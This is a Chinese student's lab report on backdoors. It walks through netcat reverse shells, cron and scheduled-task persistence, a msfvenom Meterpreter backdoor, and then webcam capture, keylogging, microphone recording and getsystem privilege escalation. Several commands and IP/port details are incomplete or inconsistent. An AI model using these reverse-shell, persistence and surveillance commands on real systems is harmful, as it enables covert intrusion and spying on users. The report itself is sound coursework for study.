1 实验内容
1.1实验主要内容
(1)使用netcat获取主机操作Shell,cron启动 (0.5分)
(2)使用socat获取主机操作Shell, 任务计划启动 (0.5分)
(3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell(0.5分)
(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权 (2分)
(5)可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell(1分)加分内容一并写入本实验报告。
1.2 基础问题
1.2.1 例举你能想到的一个后门进入到你系统中的可能方式?
可能会在一些非正规的网站下载资源,下载得到的文件里面可能会包含有后门;在钓鱼网站上点击不安全的链接;陌生人发来的邮件中,不明的文件或者链接。
1.2.2 例举你知道的后门如何启动起来(win及linux)的方式?
在windows中可以通过直接双击后门程序执行,也可以像实验中通过任务计划程序启动后门,如果它添加到了自启动项目,在开机的时候会启动,如果它跟其他软件捆绑在一起,运行其他软件也会一起被启动;在linux中可以像实验中,通过cron指令制定任务来启动程序。
1.2.3 Meterpreter有哪些给你映像深刻的功能?
获取摄像头的照片,还有记录键盘的功能很深刻,通过meterpreter的功能,我自己体验了一回在电影斯诺登档案里面,经过别人电脑的摄像头观察到的画面,令人震惊,我决定要把自己电脑的摄像头也蒙住;文件记录功能,我做实验的时候,尝试了一次在文本文档里输入,又不太相信任何键盘输入都能记录,当时做实验的时候正在截图,然后就试了一下在另存为的对话框里重命名,没想也全部记录了,真的很强大。
1.2.4 如何发现自己有系统有没有被安装后门?
最能想到就是用现在市面上各种各样的杀毒软件进行查杀,因为在做实验的时候把防火墙和杀毒软件关了,所以后门程序一直在,但是我发现,当做完实验把杀毒软件一开,后门程序就很容易被删除了;还可以通过观察注册表什么的,有没有back door有关信息来发现。
1.3 实验准备
1.3.1 获取IP地址
在Windows的cmd中使用命令 ipconfig 查看IP地址。
由图可知,Windows的IP地址为192.168.1.212。
在linux的终端中使用命令 ifconfig 查看IP地址。
由图可知,linux的IP地址为192.168.1.121。
1.3.2 Windows获得linux的shell
Windows用命令 ncat.exe -l -p 监听4302端口,等待其他机器连接该端口。
kali使用命令 nc 192.168.28.166 -e /bin/sh 反弹连接Windows,提供自己的shell。
Windows获得了linux的shell,可以执行linux的相关命令,例ls。
1.3.3 linux获得Windows的shell
与上面的步骤相似,在linux中用命令 nc -l -p 设置监听本地4302端口。Windows使用命令 ncat.exe -e cmd.exe 192.168.1.121 反弹连接linux,提供自己的shell。
linux获得Windows的shell,可以执行相关命令,例dir。
1.3.4 传输数据
Windows监听4302端口 ncat.exe -l ,linux连接Windows的4302端口 nc 192.168.1.212 ,然后两台机器就可以互相传输信息了。
1.3.5 实验环境
为了方便之后实验中后门程序的运行,提前关闭Windows主机上的杀毒软件和防火墙。
2 实验步骤
2.1 使用netcat获取主机操作Shell,cron启动
cron是linux下用来周期性的执行某种任务或等待处理某些事件的一个守护进程,与windows下的计划任务类似,当安装完成操作系统后,默认会安装此服务工具,并且会自动启动cron进程,cron进程每分钟会定期检查是否有要执行的任务,如果有要执行的任务,则自动执行该任务。
crontab文件的含义:
用户所建立的crontab文件中,每一行都代表一项任务,每行的每个字段代表一项设置,它的格式共分为六个字段,前五段是时间设定段,第六段是要执行的命令段,格式如下:minute hour day month week command
2.1.1 设置定时启动
用指令 crontab -e 编辑定时任务。在第一次编辑的时候,会有提示选择编辑器,选择“3”,利用vim编辑器进行编辑。
点击“i”进入编辑模式,在最后一行添加 * * * * /bin/netcat 192.168.1.212 -e /bin/sh ,意思是每小时的33分会反向连接Windows的4302端口。
按Esc键退出编辑模式,输入 :wq 保存并退出。
截个图,等个3分钟,到33分后,Windows获得linux的shell,可执行相关命令,例ls。
2.2 使用socat获取主机操作Shell, 任务计划启动
在Windows下,打开:控制面板->管理工具->任务计划程序。
在操作选项中,选择“创建任务”,填写任务名称20164302。
新建触发,选择开始任务时间为:工作站锁定时。
新建操作,选择启动的程序为socat.exe,参数项填写 tcp-listen: exec:cmd.exe,pty,stderr ,含义为:把
cmd.exe
绑定到端口号,同时把cmd.exe的stderr
重定向到stdout
上。
创建完成之后,选择创建的任务点击操作选项的“运行”,任务的状态成为“正在运行”。
在kali终端输入指令 socat - tcp:192.168.1.121:
2.3 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
2.3.1 生成后门
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.121 LPORT= -f exe > 20164302_backdoor.exe
注:这里设置的主机IP和端口均为linux的IP、端口
2.3.2 将生成的后门传送到Windows主机上
在Windows上运行 ncat.exe -lv > 20164302_backdoor.exe 指令,等待接受后门程序。
图中前两行是Windows正在监听,后两行是在kali上运行 nc 192.168.1.212 < 20164302_backdoor.exe 命令,将后门程序传输到Windows主机上在显示的。
PS:这里突然想试一下从其他湍口传输可不可以,用的端口号是高中的学号,也成功完成了后门程序的传输。
2.3.3 进入msf控制台进行配置
在kali上使用 msfconsole 命令,进入msf控制台。
use exploit/multi/handler //进入handler模块 set payload windows/meterpreter/reverse_tcp //对应生成的后门程序设置payload
输入 show options 查看利用模块的设置信息。
设置主机IP和端口
set LHOST 192.168.1.121 //配置模块的设置信息,这里是设置本主机kali的IP set LPORT //设置本主机的端口
再次使用 show options 查看设置。
输入 exploit 运行模块。
在Windows上运行后门程序20164302_backdoor.exe。
查看kali,发现获得了Windows主机的连接,得到了远程控制的shell,可执行相关命令,例dir。
2.4 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
2.4.1 获取目标主机音频、摄像头、击键内容等内容
获取目标主机的音频和截屏内容
record_mic //音频 screenshot //截屏
使用命令 webcam_snap 可以获取摄像头所拍摄的照片。
这就是获得的摄像头照片,简直是猝不及防,本年度最囧自拍。。。。
在kali上输入指令 keyscan_start ,开始记录键盘记录,然后在Windows上输入一些字母,之后,再切换到kali,输入指令 keyscan_dump ,就可以读取键盘记录。
第一次的时候,没有在Windows在进行任何输入,就直接keyscan_dump了,然后,就什么也没有输出。
之后又进行了尝试,在Windows上新建了一个文本文档,随便输入了一串字符。
可以看到输出的内容是一致的,至于“38”,是想看一下其他形式的键盘记录,这是当时在截图,对图片进行另存为操作,在对话框中输入的编号,也成功记录了。
2.4.2 提权
先使用 getuid 指令查看当前用户,再使用 getsystem 指令进行提权。 然后发现提权失败。。。还不甘心的多试了几次
然后问了一下我们小组的组长,他也有同样的问题,上网搜索,发现需要以管理员身份运行后门程序,才能提权。
所以,exit一下,到后门程序所在文件夹ncat,找到20164302_backdoor.exe,右键,以管理员身份运行,然后再试一次,成功提权。
3 实验感想
通过本次的实验,对于后门的原理有了进一步的认识,对后门的形成、植入并利用后门进行攻击等操作有了初步的了解,自己的水平还不够高,所以实验还是参照学长学姐和其他同学的博客进行的,虽然实验做完了但实验步骤中一些详细内容我还没有理解,需要继续花时间弄懂,整体感觉上,这次的实践内容比上次的实验稍微轻松了一些,也比较好玩,过程中充满了乐趣,希望通过一次次有趣的实验,不仅能学到东西,也能提高自己对这门课的兴趣,把这门课真正的学好。